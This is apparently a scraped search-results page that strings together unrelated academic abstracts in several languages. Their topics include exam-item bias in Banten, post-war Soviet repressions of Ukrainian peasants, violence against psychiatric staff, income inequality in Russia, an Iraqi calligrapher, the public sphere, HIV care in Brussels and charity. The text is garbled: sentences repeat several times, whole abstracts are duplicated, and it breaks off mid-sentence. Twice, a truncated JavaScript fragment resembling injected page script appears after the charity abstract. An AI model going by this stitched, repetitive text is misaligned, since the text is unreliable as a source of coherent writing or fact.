Suchergebnisse

Analysis of Differential Item Function (DIF) / otherness Function Item is an analysis conducted on a set of tests to determine the bias point. Bias grains occur because of differences in background of respondents test, while a good test devices have qualities of objectivity, transparency, accountability and non-discriminatory. This study aimed to describe the test items were contracted Differential Item Function (DIF) at the National Examination IPA SD devices based on differences in urban and rural areas in the province of Banten using Mantel-Haenszel statistical methods. Mantel Haenszel method is a statistical method that belong to the classical theory to estimate the capability (ability) answered correctly and one of the two groups Referring (City group) and Focus (village groups). In the analysis of the National Examination tests conducted by IPA SD urban and rural areas because basically learning science provide insights into the learners to study the nature of life in a real and every region has a characteristic difference in the character of each. Learners tendency of characters to characters who occupied a very large area of influence, so that the DIF analysis was performed on the test device by city and village. The method used in this research is descriptive quantitative method based on the translation of factual data and systematically based on numerical analysis using statistics, with a population of primary school learners based on the classification of the city of Dan Village. Selection of the sample was done by using stratified random sampling by classifying and analyzing each unit of analysis. Data is collected using secondary data from relevant agencies and government agencies manually and online. The analysis carried out quantitative analysis using the Mantel-Haenszel method. The results of the analysis indicate that there Differential Item Function (DIF) on items of National Examination test devices based on the analysis of urban and rural differences. DIF infected grain on the test device, twelve grains of forty grains, with a tendency to point to areas of the city of five items and the tendency to rural areas totaled seven points. Data is collected using secondary data from relevant agencies and government agencies manually and online. The analysis carried out quantitative analysis using the Mantel-Haenszel method. The results of the analysis indicate that there Differential Item Function (DIF) on items of National Examination test devices based on the analysis of urban and rural differences. DIF infected grain on the test device, twelve grains of forty grains, with a tendency to point to areas of the city of five items and the tendency to rural areas totaled seven points. Data is collected using secondary data from relevant agencies and government agencies manually and online. The analysis carried out quantitative analysis using the Mantel-Haenszel method. The results of the analysis indicate that there Differential Item Function (DIF) on items of National Examination test devices based on the analysis of urban and rural differences. DIF infected grain on the test device, twelve grains of forty grains, with a tendency to point to areas of the city of five items and the tendency to rural areas totaled seven points. The results of the analysis indicate that there Differential Item Function (DIF) on items of National Examination test devices based on the analysis of urban and rural differences. DIF infected grain on the test device, twelve grains of forty grains, with a tendency to point to areas of the city of five items and the tendency to rural areas totaled seven points. The results of the analysis indicate that there Differential Item Function (DIF) on items of National Examination test devices based on the analysis of urban and rural differences. DIF infected grain on the test device, twelve grains of forty grains, with a tendency to point to areas of the city of five items and the tendency to rural areas totaled seven points.

The article is devoted to the research of post-war repressions against the peasantry of Ukraine. The author ascertained the political, economic and spiritual aspects of tragic events that had absolute influence on further development of the Ukrainian village on the basis of previously published sources and archived materials. Ways of repressive politics forming, participating of public authorities, police, party and soviet institutions in it were shown. It was proven that repression touched all the layers of society in the post-war years, including peasants. The amount of the arrested peasants in post-war years is considerably greate than workers according to the annual statistical reports of NKDB. The author defined that the main forms of post-war repressions were eviction, criminal responsibility, sending to the camps. After war many peasants, taken out to Germany, found oneself on the rights of repatriates and were sent to camps as «traitors of motherland». Peasants were forced to work 10–11 hours a day. They were made to buy government bonds of loans that devastated their incomes. Being a member of a collective farm or state farm, absence of the right to live and deportation returned peasants to serfdoms times. In the article the analysis of realization of the second wave of dekulakization is given. It reminded the dekulakization in 1930 – expropriation of grain, appeasement of hunger, increase of state reservs and export of bread, deportation of rebellious to remote areas. The collectivization of agriculture in Western Ukraine in post-war years was conducted by violent methods.Wealthy peasants were made to choose between joining the collective farm or sending to Siberia. Families of dekulakizated people were evicted to the east districts of USSR. According to the research it became clear that one of the main methods in the process of collectivizations was tax system. Moreover the sum of taxes for an individual peasant is 100 % higher than for a collective farmer. In a country an active fight against collective farmers who didn't work the necessary amount of workdays is conducted. People who did not produce such minimum were sentenced, evicted from collective farms with confiscation of private households. A such crime was characterized as a «parasitic way of life». The repressions related to realization of violent grain purchases were affected peasants especially heavily. It is stated that Stalin's repressive party-state politics of grain purchases was one of the main reasons of the third soviet hunger. Strengthening of grain purchases resistance in the period of hunger 1946–1947 caused the repressions in relation to the leaders of households. An active fight against the increase of quantity of thefts was conducted without regard to hungry people who were forced on crime commitment. The author of the article concludes that in a post-war period repressions against peasants were actively proceeded. These peasants were the considerable amount of all prisoners. The repressions were less common than in 1930th, however the totalitarian system disfigured the fates of hundreds and brought thousands of people to death. The research of post-war repressions gives an opportunity to enrich the historical science with new original and actual material, to expose the criminal activity of I. Stalin, his surroundings and repressive-punitive machine created by him. ; Статья посвящена исследованию темы послевоенных репрессий против крестьянства Украины. На осно-вании раннее опубликованных источников и архивных материалов автор высветил политические, экономи-ческие и духовные аспекты трагических событий, что имели безусловное влияние не дальнейшее развитие украинского села. Показаны пути формирования репрессивной политики, участь в ней государственных орга-нов власти, партийных, советских и правоохранительных органов. ; Статтю присвячено дослідженню теми повоєнних репресій проти селянства Ук-раїни. На основі раніше опублікованих джерел та архівних матеріалів автор висвітлив політичні, економічні та духовні аспекти трагічних подій, що мали безумовний вплив на подальший розвиток українського села. Показано шляхи формування репресивної політики, участь у ній державних органів влади, партійних, радянських та правоохоронних органів.

After attending this presentation, attendees will understand that assaults by psychiatric patients against mental health care providers is a significant occupational risk for health care staff in private and public acute psychiatric facilities and rehabilitation wards. The review of literature shows that aggressive behavior, in most cases, involves verbal aggression and that physicians and nurses reported the highest prevalence of violence. Several surveys revealed that younger patients (=25-30 years of age) with multiple diagnoses, including substance abuse, psychotic behavior, and non-compliance to treatment are at the greatest risk of violent behavior, without a great gender difference. This presentation will impact the forensic science community by emphasizing that mental health professionals can become victims of lethal assault by psychiatric patients, with minor injuries being more common (i.e., resulting in missed days of work or assignments to limited duty). Multiple or life-threatening injuries (i.e., fractures, lacerations, bruises, or a loss of consciousness) are sustained by a smaller percentage of staff members. A case of a 53-year-old female psychiatrist who was found stabbed in her office in a mental health center was reported. A 44-year-old male was charged with this fatal assault. He had been previously admitted to the hospital with suicidal ideation and confusion. A 14.5 centimeters-long kitchen knife (single cutting edge) was found in the office. The autopsy revealed 70 stab wounds: four superficial wounds of the supraclavicular and cervical areas; three abdominal wounds penetrating the liver; eight wounds of the thorax penetrating the lungs; forty-two wounds of the back (twenty-eight of which penetrated pleural cavities); six superficial wounds of the lumbar region; and seven superficial wounds of the upper arms. The same knife found in the crime scene caused all of the wounds. Death was attributed to massive hemorrhagic shock. The forensic psychiatric expert highlighted a borderline-antisocial personality disorder; the perpetrator was judged competent to stand trial and the prosecutor asked for 30 years in prison. Results from the literature review indicate that patient aggression toward mental health care professionals is common and worldwide. These incidents raised the controversial debate regarding the potential danger posed by individuals with mental illness, as psychiatrists have a 5% to 48% chance of experiencing a physical assault by a patient during their career. According to the United States Department of Justice's National Crime Victimization Survey conducted from 1993 to 1999, the annual rate of non-fatal, job-related violent crime was 12.6 per 1,000 workers in all occupations. Among physicians, the rate was 16.2 per 1,000 and among nurses was 21.9 per 1,000; however, for psychiatrists and mental health care professionals, the rate was 68.2 per 1,000, and for mental health custodial workers the rate was 69 per 1,000.1 The most common type of aggression has minor consequences (mostly psychological as symptoms suggestive of post-traumatic stress disorder) and has usually occurred in crowded and unstructured settings without weapons, but a few cases of serious injuries or death are reported. Mental health care practitioners have to be aware that risk factors for violence are divided into two categories: static (psychiatric diagnoses of major mental illness and prior history, young adulthood, lower intelligence, history of head trauma or neurological impairment, dissociative states, history of military service, and weapons training) and dynamic (substance abuse or dependence, persecutory delusions, command hallucinations, treatment non-compliance, impulsivity, homicidality with a feasible homicidal plan, depression, hopelessness, suicidality, and access to weapons). A multidisciplinary continuing education curriculum focused on recognizing aggressive or violent behavior between mental health practitioners and their patients is of paramount importance for preventing violent assaults is suggested. The ability to recognize the key "warning signs" (psychomotor agitation, combative posturing, guardedness, paranoid remarks, low frustration tolerance, emotional lability, and irritability) that may precede violence will increase staff safety and may save the lives of all involved. Reference(s): 1. Anderson A., West S.G. Violence Against Mental Health Professionals: When the Treater Becomes the Victim, Innov Clin Neurosci, 2011 Mar; 8(3): 34–39.

В статье отмечена значимость исследования экономического неравенства как важнейшей проблемы политической экономии, имеющей экономические, социологические и политологические аспекты. Рассмотрена гипотеза Нобелевского лауреата по экономике С. Кузнеца о влиянии экономического роста на неравномерность распределения, основанная на анализе исторической динамики доходного неравенства. Обобщены методологические подходы к исследованию взаимосвязи экономического неравенства и экономического роста. Показано, что в середине XXв. господствовало представление о существовании естественного цикла неравенства. Однако в более поздних исследованиях нет единства мнений: экономический рост может сопровождаться снижением, увеличением или консервацией неравенства, а рост неравенства имеет место на фоне экономического спада. Специальное внимание уделено сопоставлению либерального экономического подхода, согласно которому неравенство является ключевым инструментом экономического роста: чем больше неравенство, тем больше экономический рост, и противоположной точки зрения, которой придерживаются другие исследователи, видящие в неравенстве сдерживающий фактор экономического роста. Показана актуальность исследования проблемы неравенства и в советский период. В то время научный подход к реальным народнохозяйственным проблемам сталкивал исследователей с проблемой расхождения жизни и положений официальной науки. Существенный вклад в создание методологической базы политэкономического исследования неравенства внесли Я.А. Кронрод и А.П. Бутенко. Результаты их исследований в области методологии политической экономии явились импульсом к существенному реформированию многих сложившихся представлений об экономической теории социализма, представляя научный интерес и сегодня. Приведены эмпирические данные, характеризующие тренды неравенства советского и постсоветского периодов. Показано, что негативным социальноэкономическим результатом рыночных преобразований в постсоветской России стала чрезмерная дифференциация доходов населения и, как следствие, резкая социальная поляризация общества. Сделан вывод о том, что в настоящее время в России речь идет не столько о дифференциации доходов, сколько о переходе ее в крайние, особо опасные формы социально-экономического неравенства. Необоснованное избыточное неравенство уровней доходов населения в России является одним из важнейших факторов, сдерживающих экономический рост, который тесно связан с величиной потребительского спроса населения. ; The relevance of the study of economic inequality as the most important problems of political economyis emphasized, in economic, sociological and political aspects. The author discusses the hypothesis by Simon Kuznets who won the Nobel Prize in Economic Sciences for the impact of economic growth on the non-uniformity of distribution, based on an analysis of historical dynamics of income inequality.The article summarizes the methodological approaches to the study of the historical dynamics of inequality in income distribution, relationship between economic inequality and economic growth. It is shown that in the middle of the XX century, the concept of the natural cycle of inequality was dominated. However, there were not consensus in more recent studies about whether economic growth can be accompanied by a decrease, increase or preservation of inequality, while the growth of inequality may occur against a background of economic downturn. Special attention is paid to the comparison of the liberal economic approach, according to which inequality is a key tool for economic growth: the greater the inequality, the greater the economic growth and the opposite point of view, which other researchers follow, viewing the inequality as a constraint for economic growth. The urgency of the problem of inequality in the Soviet period and its study is shown. The researchers of that time faced with the problem of differences between the real life and officially provided data. A significant contribution to the development ofmethodological base for political economy studies of inequality was made by J.A. Kronrod and A.P. Butenko. Their resultsserved as the impetus for reformatory ideas about the economic theory of socialism, which are of importance today as well. Empirical data showing inequality trends in the Soviet and post-Soviet periods are provided. It is shown that the market reforms in post-Soviet Russia has resultedin excessive income differentiation of the population and, as a consequence sharp social polarization of society. It is concluded that at the present time in Russia the issue at stake is not income inequality as such, but rather itstransformation into particularly dangerous form of social and economic inequality. Unjustified excessive inequality of incomesamong the Russians is one of the major factors constraining economic growth, which is closely related to the value of consumer demand.

Haşim Muhammed el-Bağdadi, Irak'ın başkenti Bağdat'da Han lavent mahallesinde 1921 tarihinde doğmuştur. Bağdat'ta doğdu. Küçükyaşta babası­nı kaybedince amcası Mahmud'un himayesinde büyüdü. Molla Arif Şihli'de dersalarak başladığı hat çalışmalarını Bağdat'ın önde gelen hattatlarından Muhammed Ali Sabir'in yanında sürdürdü. 1934 yılında çalışmaya başladığı askeri bir kurumdan kısa bir süre sonra ayrıldı.1937'de haritacılıkla ilgili bir daire olan Müdlriyyetü'l-mesahati'l-amme'ye tayin edildi. Arkadaşı hattat Abdülkerim Rifat'tan Arap tezyinatını öğrendi. Osmanlı üslubunda eserler ortaya koyan Molla Aliel-Fazli'nin yanında hat eğitimini tamamlayarak1943 yılında icazet aldı. 1944'te Mısır'a gitti. Aynı yıl Mısırlı iki hattat Muhammed Hüsni ve Seyyid İbrahim Efendi'den icazet aldı. Ertesi yıl Kahire'de tanınmış Türk hattatı Aziz er-Rifafnin kurduğu Medresetü tahsinulhat melekiyye'den mezun oldu. Yazdığı bir hilye-i Hat yazılarında "Haşim" imzasini kullanan hattat, Bağdadi soyadını almıştır. Bağdadi yoksul ve dine bağlı bir ailede yetişmiştir. Arab hat sanatı kaynaklarında adı geçen hattat Haşim Muhammed el-Bağdadi`nin babası Dirbas El Kaysi, meyve ve sebze saticisiydi. İlk öğrenimini hocası Molla Arif el Şeyhli'den alan Bağdadi, sonraki eğitimini hacı Ali Sabirden almıştır. Ustadlarından çok faydalanarak iyi bir eğitim alan hattat, kendi hayatını tamamen hat sanatına adamıştır. Dünya çapinda hat sanatında isimleri olan hocalardan icazetler alan Bağdadi, ayni zamanda merhum Hamit Aytaç'dan iki dafa icazet almıştır. Arap dünyasında ünlü hattatlardan birisi olan, özellikle Irak'ın hat sanatının en önemli isimlerinden seçilen merhum hattat Haşim Muhammet el-Bağdadi, Irak hat sanatının gelişmesinde ve yeni hattatların yetişmesinde büyük rol oynamıştır. Başta sülüs ve nesih olmakla diğer hat sanatı çeşitlerinde de başarılar elde etmiştir. Kur'an-ı Kerim'in Irak diyanet bakanlığına ait olan el yazması üzerinde bazı eksiklikleri gidererek kendi hattıyla düzenlemiştir. Merhum hattat Muhammet Emin el-Rüşdi efendinin adına olan bu mushaf onun sayesinde yeniden basılmıştır. Irak'ın başkenti olan Bağdat mescitlerinde sülüs kuşak yazıları yzan hattat, 1946 miladi yılında kendi adına `Kurasetul Hattularabi` eserini düzenlemiştir. Türk hat sanatının kurallarını ve çeşitli hat sanatı örneklerini eş alan bu Kurraset`ten çok hattatlar faydalanmış ve gunumuze kadar da etkisini sürdürmektedir. Türkiye'de meşhur hattatlarla, özellikle Hamit hocayla dafalarca görüşmüştür. Ayni zamanda Arabistan'da bir çok hattatla görüşmüş ve yazılarından onlar dahi etkilenmişlerdir. Bu tezin asıl amacı merhum Haşim bağdadinin eserlerinin hat santı bakımından incelemesi ve hat sanatı tarihindeki yerini Türk bilim ve sanat camiasina tanıtmaktır. ; Haşim Muhammed el-Bagdadi was born in 1921 at Han Lavent District of Baghdad, the capital city of Iraq. He left the military institution in which started working in 1934 after a while later. In 1937, he was appointed to Müdlriyyetü'l –mesahati'l –amme that was an office related to land surveying. He learnt Arabic ornament from his Calligraphist friend Abdülkerim Rıfat. Dirbas El Kaysi, the father of Haşim Muhammed el-Bagdadi was the seller of fruit and vegetable. Bağdadi who received elementary education from his master Molla Arif El Şeyhli received his next education from Hacı Ali Sabir. The Calligraphist who could obtain a good education by taking advantage of masters dedicated his life completely to calligraphy. Bagdadi who received ratifications from world-renowned masters also took ratification from Hamit Aytaç for two times. Haşim Muhammed el-Bagdadi played a big role in the development of calligraphy and in the education of new Calligraphists. He made up deficiencies on the manuscript of the Holy Koran pertaining to the Ministry of Religious Affairs in Iraq and arranged with his calligraphy. That holy Koran that was pressed in the name of the Late Calligraphist Muhammet Emin el-Rüşdi reissued owing to him. The calligraphist who could be able to make thuluth band scripts in the mosques of Baghdad, the capital city of Iraq made the work of" Kurasetul Hattu'l Arabi". Many calligraphist used this Kurraset corresponding to the rules of Turkish Calligraphy and several samples of calligraphy and its influence continued until today. He met with famous calligraphist in Turkey, especially with the Master Hamit. The basic purpose of this thesis is the examination of works of the Late Haşim Bağdadi in respect of calligraphy and introduce the place of calligraphy in history to the Turkish science and art community.

The public sphere of politics as a theoretical concept of modern political science has been discussed in the article. The reasons of the increasing interest to the public sphere is a dominating subject. Studied The phenomenon of the public sphere being a tool of theoretical and methodological definition of the political world's boundaries has been studied. The value aspects of media activity in the contemporary politics has been investigated. An attempt has been made to establish the potential of political publicity for the qualitative understanding of participatory democracy. The potential of the public sphere in the development of civil society and social capital has been described. The distinction between the public sphere of politics and political communication in the specific conditions of modern transformational societies has been reasonably grounded. The importance of the presence of state power in all spheres of life of the transformational society has been stressed. Such transformation has not been stoped after the liberal market reforms, which had to ensure the existence of a formal representative democracy. The influence of the elite and expert groups being the reason of the absence of really functioning future civil society has been considered. The features of the formation of civil and social activities as a precondition for the democratic political class' functioning have been studied. The specifics of public political activity being the prerogative of the competent entities' political broadcasting have been analyzed. The gradual formation of cyber public sphere and its political branch segment has been revealed. Thorough attention has been given to the processes of the public sphere's politicization which are usual for primarily authoritarian and closed societies. ; У статті розглядається публічна сфера політики як теоретичне поняття сучасної політичної науки. Встановлюються причини посилення інтересу до публічної сфери як предметної галузі. Вивчається явище публічної сфери як засобу теоретико-методологічного окреслення кордонів політичного світу. Досліджено значення аспектів медіа-діяльності в сучасній політиці. Робиться спроба встановлення потенціалу політичної публічності для якісного осмислення партиципаторной демократії. Висуваються гіпотези щодо потенціалу публічної сфери для розвитку громадянського суспільства і соціального капіталу. Обґрунтовано розмежування між публічною сферою політики і політичної комунікації в специфічних умовах сучасних трансформаційних суспільств. Підкреслюється значення присутності державної влади у всіх сферах життєдіяльності трансформаційного суспільства, яке не припинилося після проведення ліберальних ринкових реформ, які забезпечили існування формальної репрезентативної демократії. Розглядається вплив елітарних і експертних груп як причина відсутності реального функціонування майбутнього громадянського суспільства. Вивчаються особливості формування публічної громадської діяльності як передумови функціонування демократичного політичного класу. Проаналізовано специфіку публічної політичної діяльності як прерогативи компетентних суб'єктів політичного мовлення. Розкрито умови поступового формування кібернетичної публічної сфери та відокремлення її політичного сегмента. Надано увагу процесам політизацію публічної сфери, які притаманні, перш за все, авторитарним і закритим суспільствам. ; В статье рассматривается публичная сфера политики как теоретическое понятие современной политической науки. Устанавливаются причины усиления интереса к публичной сфере как предметной области. Изучается явление публичной сферы как средства теоретико-методологического определения границ политического мира. Исследовано значение аспектов медиа-деятельности в современной политике. Делается попытка установления потенциала политической публичности для качественного осмысления партиципаторной демократии. Выдвигаются гипотезы относительно потенциала публичной сферы для развития гражданского общества и социального капитала. Обоснованы разграничения между публичной сферой политики и политической коммуникацией в специфических условиях современных трансформационных обществ. Подчеркивается значение присутствия государственной власти во всех сферах жизнедеятельности трансформационного общества, которое не прекратилось после проведения либеральных рыночных реформ, которые обеспечили существование формальной репрезентативной демократии. Рассматривается влияние элитарных и экспертных групп, как причина отсутствия реального функционирования будущего гражданского общества. Изучаются особенности формирования публичной общественной деятельности как предпосылки функционирования демократического политического класса. Проанализирована специфика публичной политической деятельности как прерогативы компетентных субъектов политического вещания. Раскрыты условия постепенного формирования кибернетической публичной сферы и отделения ее политического сегмента. Уделено внимание процессам политизации публичной сферы, которые присущи, прежде всего, авторитарным и закрытым обществам.

Building on the findings of the sociology of chronic illness and of urban sociology, the doctoral thesis calls for the study of "urban health pathways" of people living with HIV/Aids. Such pathways refer to the combination of recourses, both pursued and not, to health-care services within the urban environment and in relation to chronic illness. These pathways consider the situation of dependence on specialised medical care faced by chronically ill patients. Based on the study of mobility of the chronically ill, the doctoral thesis highlights the organisational work such patients are inevitably faced with for accessing health-care services, transitioning between them, and coordinating multiple recourses as integral activities of their daily lives. Firstly, the thesis analyses in a socio-historical perspective the HIV/Aids care services in Brussels (Belgium). The case of the city of Rouen (France) brings a comparative counterpart to this analysis. The aim is to identify the mechanisms that rule the circulation of patients among health-care services: hospital-centred care, health-care integration, services diversity and spatial distribution of specialised services. Secondly, based on the study of illness narratives of people living with HIV, the thesis divides their lifespan into a series of sequences and identifies their modes of action within two of these sequences: 1) the settlement in a life with the HIV diagnosis and 2) the adjustment to the effective or potential worsening of one's health condition. These modes of action underline the urban characteristics on which people living with HIV rely to manage and improve and their health condition. Finally, the thesis offers a typology of 'health care motility', referring to one's capacity to resort to urban health care services and to transition between them. Using the concept of 'motility' (first designed by Vincent Kaufmann) for the analysis of a specific activity opens up new perspectives for the study of individual pathways in other domains requiring the organisation of one's recourse to a range of services. ; S'appuyant sur les avancées de la sociologie de la maladie chronique et de la sociologie urbaine, la thèse propose une sociologie des parcours urbains de soins de personnes vivant avec le VIH/sida. Ces parcours désignent l'enchaînement de recours et non-recours aux soins dans l'espace urbain et dans la durée de la maladie chronique. Ils s'opèrent dans un contexte de dépendance à la médecine spécialisée. À partir d'une étude de la mobilité des personnes atteintes, la thèse éclaire le travail organisationnel qu'elles fournissent nécessairement pour se mettre en situation d'accéder aux soins, coordonner leurs recours entre eux et articuler ces recours avec leurs autres activités de la vie courante. D'abord, une analyse socio-historique de la prise en charge du VIH/sida à Bruxelles, éclairée par un contrepoint comparatif avec le cas de Rouen, identifie les mécanismes qui font circuler les patients dans l'offre de soins : hospitalo-centrisme, niveau d'intégration des soins, diversité de l'offre et distribution spatiale des services spécialisés. Ensuite, l'étude de récits de vie recueillis auprès de personnes séropositives permet, d'une part, un séquençage du déroulement de la vie avec le VIH puis, d'autre part, l'identification des modes d'action des personnes séropositives dans deux séquences de la vie avec le VIH : l'installation dans le diagnostic et l'aménagement de la vie dans la dégradation effective ou potentielle de la santé. Ces modes d'action révèlent les caractéristiques de l'offre urbaine de soins sur lesquelles les personnes séropositives s'appuient pour se soigner. Enfin, la thèse propose une typologie des formes de « motilité dans les soins », soit la capacité des personnes à circuler dans l'offre urbaine de soins. L'application du concept de motilité (Vincent Kaufmann) à une activité spécifique ouvre la voie à d'autres utilisations pour l'analyse de parcours individuels dans des domaines qui requièrent l'organisation de recours à différents services. ; (Faculté de sciences économiques, sociales et politiques) -- FUSL, 2015

The rapid development of science and technology leads to the dehumanization of society, that has negative impact on social relations, in which the level of humanity is greatly reduced. Therefore, the question of morality of human relations, especially in the current situation in Ukraine is urgent and needs to be improved and new ways of revival should be found. The phenomenon of charity is one of the possible mechanisms.In the article in detail the genesis of the concept of charity from sociological, ethical and philosophical point of view is considered. Separately we investigated historically the representatives of different religious confessions to the phenomenon of charity. It deals with ambiguity and different forms of existence. It is shown that as of today charity is at the center of discussions of public, scientists, politicians, civil servants, activists public sector. However, attitudes to it and practices for its implementation in modern society are ambiguous. On the one hand, charity helps to solve social problems and improve the quality of life of community relations but on the other hand, charity programs and actions can be veiled as self-interest of the organizers, which also can lead to some abuses.The article shows that charity serves as axiological component of social relations because it is based on concepts such as kindness, goodness, helping the needy, compassion. In the article different kinds of charitable activities are reviewed and proved the idea that active charity is an effective method of improving humanization of social relations. ; Стремительное развитие научно-технического прогресса приводит к дегуманизации общества, что негативно отражается на общественных отношениях, человечности в которых, с каждым днем становиться все меньше. Поэтому вопрос нравственности человеческих отношений, особенно в современных условиях в Украине, является актуальным и требует усовершенствования и поисков новых путей ее возрождения. Феномен благотворительности выступает одним из таких возможных механизмов.В статье подробно рассмотрены генезис понятия благотворительности с социологической, этической и философской точки зрения. Отдельно исследовано отношение представителей разных религиозных конфессий к феномену благотворительности в исторической ретроспективе. Освещены его неоднозначность и различные формы существования. Показано, что на сегодняшний день, благотворительность находится в центре дискуссий общественности, ученых, политиков, государственных служащих, активистов общественного сектора. Однако, отношение к ней и к практикам ее реализации в современном обществе неоднозначно. С одной стороны, благотворительная деятельность способствует решению общественных проблем и улучшению качества жизни общественных отношений но, с другой стороны, за благотворительными программами и акциями могут быть завуалированы собственные интересы их организаторов, что также может приводить к определенным злоупотреблениям.В статье показано, что благотворительность выступает аксиологической составляющей общественных отношений, поскольку базируется на таких понятиях как милосердие, добро, помощь нуждающимся, сострадание. Рассмотрены различные виды благотворительной деятельности и доказано, что именно активная благотворительность является эффективным методом повышения уровня гуманизации общественных отношений. ; Стрімкий розвиток науково-технічного прогресу призводить до дегуманізації суспільства, що негативно відображається на суспільних відносинах, рівень людяності у яких значно знижується. Тому питання моральності людських відносин, особливо за сучасних умов в Україні, є актуальним і потребує удосконалення та пошуків нових шляхів її відродження. Феномен благодійності виступає одним з таких можливих механізмів.У статті детально розглянуто ґенезу поняття благодійності з соціологічної, етичної та філософської точки зору. Окремо досліджено відношення представників різних релігійних конфесій до феномену благодійності в історичній ретроспективі. Висвітлено його неоднозначність та різні форми існування. Показано, що станом на сьогоднішній день благодійність перебуває в центрі дискусій громадськості, науковців, політиків, державних службовців, активістів громадського сектору. Однак, ставлення до неї та до практик її реалізації в сучасному суспільстві є неоднозначним. З одного боку, благодійна діяльність сприяє вирішенню суспільних проблем та покращенню якості життя громадських відносин але, з іншого боку, за благодійними програмами та акціями можуть бути завуальовані власні інтереси їх організаторів, що також може призводити до певних зловживань.У статті показано, що благодійність виступає аксіологічною складовою суспільних відносин, оскільки базується на таких поняттях як милосердя, добро, допомога нужденним, співчуття. Розглянуто різні види благодійної діяльності та доведено, що саме активна благодійність є ефективним методом підвищення рівня гуманізації суспільних відносин.// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

The rapid development of science and technology leads to the dehumanization of society, that has negative impact on social relations, in which the level of humanity is greatly reduced. Therefore, the question of morality of human relations, especially in the current situation in Ukraine is urgent and needs to be improved and new ways of revival should be found. The phenomenon of charity is one of the possible mechanisms.In the article in detail the genesis of the concept of charity from sociological, ethical and philosophical point of view is considered. Separately we investigated historically the representatives of different religious confessions to the phenomenon of charity. It deals with ambiguity and different forms of existence. It is shown that as of today charity is at the center of discussions of public, scientists, politicians, civil servants, activists public sector. However, attitudes to it and practices for its implementation in modern society are ambiguous. On the one hand, charity helps to solve social problems and improve the quality of life of community relations but on the other hand, charity programs and actions can be veiled as self-interest of the organizers, which also can lead to some abuses.The article shows that charity serves as axiological component of social relations because it is based on concepts such as kindness, goodness, helping the needy, compassion. In the article different kinds of charitable activities are reviewed and proved the idea that active charity is an effective method of improving humanization of social relations. ; Стремительное развитие научно-технического прогресса приводит к дегуманизации общества, что негативно отражается на общественных отношениях, человечности в которых, с каждым днем становиться все меньше. Поэтому вопрос нравственности человеческих отношений, особенно в современных условиях в Украине, является актуальным и требует усовершенствования и поисков новых путей ее возрождения. Феномен благотворительности выступает одним из таких возможных механизмов.В статье подробно рассмотрены генезис понятия благотворительности с социологической, этической и философской точки зрения. Отдельно исследовано отношение представителей разных религиозных конфессий к феномену благотворительности в исторической ретроспективе. Освещены его неоднозначность и различные формы существования. Показано, что на сегодняшний день, благотворительность находится в центре дискуссий общественности, ученых, политиков, государственных служащих, активистов общественного сектора. Однако, отношение к ней и к практикам ее реализации в современном обществе неоднозначно. С одной стороны, благотворительная деятельность способствует решению общественных проблем и улучшению качества жизни общественных отношений но, с другой стороны, за благотворительными программами и акциями могут быть завуалированы собственные интересы их организаторов, что также может приводить к определенным злоупотреблениям.В статье показано, что благотворительность выступает аксиологической составляющей общественных отношений, поскольку базируется на таких понятиях как милосердие, добро, помощь нуждающимся, сострадание. Рассмотрены различные виды благотворительной деятельности и доказано, что именно активная благотворительность является эффективным методом повышения уровня гуманизации общественных отношений. ; Стрімкий розвиток науково-технічного прогресу призводить до дегуманізації суспільства, що негативно відображається на суспільних відносинах, рівень людяності у яких значно знижується. Тому питання моральності людських відносин, особливо за сучасних умов в Україні, є актуальним і потребує удосконалення та пошуків нових шляхів її відродження. Феномен благодійності виступає одним з таких можливих механізмів.У статті детально розглянуто ґенезу поняття благодійності з соціологічної, етичної та філософської точки зору. Окремо досліджено відношення представників різних релігійних конфесій до феномену благодійності в історичній ретроспективі. Висвітлено його неоднозначність та різні форми існування. Показано, що станом на сьогоднішній день благодійність перебуває в центрі дискусій громадськості, науковців, політиків, державних службовців, активістів громадського сектору. Однак, ставлення до неї та до практик її реалізації в сучасному суспільстві є неоднозначним. З одного боку, благодійна діяльність сприяє вирішенню суспільних проблем та покращенню якості життя громадських відносин але, з іншого боку, за благодійними програмами та акціями можуть бути завуальовані власні інтереси їх організаторів, що також може призводити до певних зловживань.У статті показано, що благодійність виступає аксіологічною складовою суспільних відносин, оскільки базується на таких поняттях як милосердя, добро, допомога нужденним, співчуття. Розглянуто різні види благодійної діяльності та доведено, що саме активна благодійність є ефективним методом підвищення рівня гуманізації суспільних відносин.// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Building on the findings of the sociology of chronic illness and of urban sociology, the doctoral thesis calls for the study of "urban health pathways" of people living with HIV/Aids. Such pathways refer to the combination of recourses, both pursued and not, to health-care services within the urban environment and in relation to chronic illness. These pathways consider the situation of dependence on specialised medical care faced by chronically ill patients. Based on the study of mobility of the chronically ill, the doctoral thesis highlights the organisational work such patients are inevitably faced with for accessing health-care services, transitioning between them, and coordinating multiple recourses as integral activities of their daily lives. Firstly, the thesis analyses in a socio-historical perspective the HIV/Aids care services in Brussels (Belgium). The case of the city of Rouen (France) brings a comparative counterpart to this analysis. The aim is to identify the mechanisms that rule the circulation of patients among health-care services: hospital-centred care, health-care integration, services diversity and spatial distribution of specialised services. Secondly, based on the study of illness narratives of people living with HIV, the thesis divides their lifespan into a series of sequences and identifies their modes of action within two of these sequences: 1) the settlement in a life with the HIV diagnosis and 2) the adjustment to the effective or potential worsening of one's health condition. These modes of action underline the urban characteristics on which people living with HIV rely to manage and improve and their health condition. Finally, the thesis offers a typology of 'health care motility', referring to one's capacity to resort to urban health care services and to transition between them. Using the concept of 'motility' (first designed by Vincent Kaufmann) for the analysis of a specific activity opens up new perspectives for the study of individual pathways in other domains requiring the organisation of one's recourse to a range of services. ; S'appuyant sur les avancées de la sociologie de la maladie chronique et de la sociologie urbaine, la thèse propose une sociologie des parcours urbains de soins de personnes vivant avec le VIH/sida. Ces parcours désignent l'enchaînement de recours et non-recours aux soins dans l'espace urbain et dans la durée de la maladie chronique. Ils s'opèrent dans un contexte de dépendance à la médecine spécialisée. À partir d'une étude de la mobilité des personnes atteintes, la thèse éclaire le travail organisationnel qu'elles fournissent nécessairement pour se mettre en situation d'accéder aux soins, coordonner leurs recours entre eux et articuler ces recours avec leurs autres activités de la vie courante. D'abord, une analyse socio-historique de la prise en charge du VIH/sida à Bruxelles, éclairée par un contrepoint comparatif avec le cas de Rouen, identifie les mécanismes qui font circuler les patients dans l'offre de soins : hospitalo-centrisme, niveau d'intégration des soins, diversité de l'offre et distribution spatiale des services spécialisés. Ensuite, l'étude de récits de vie recueillis auprès de personnes séropositives 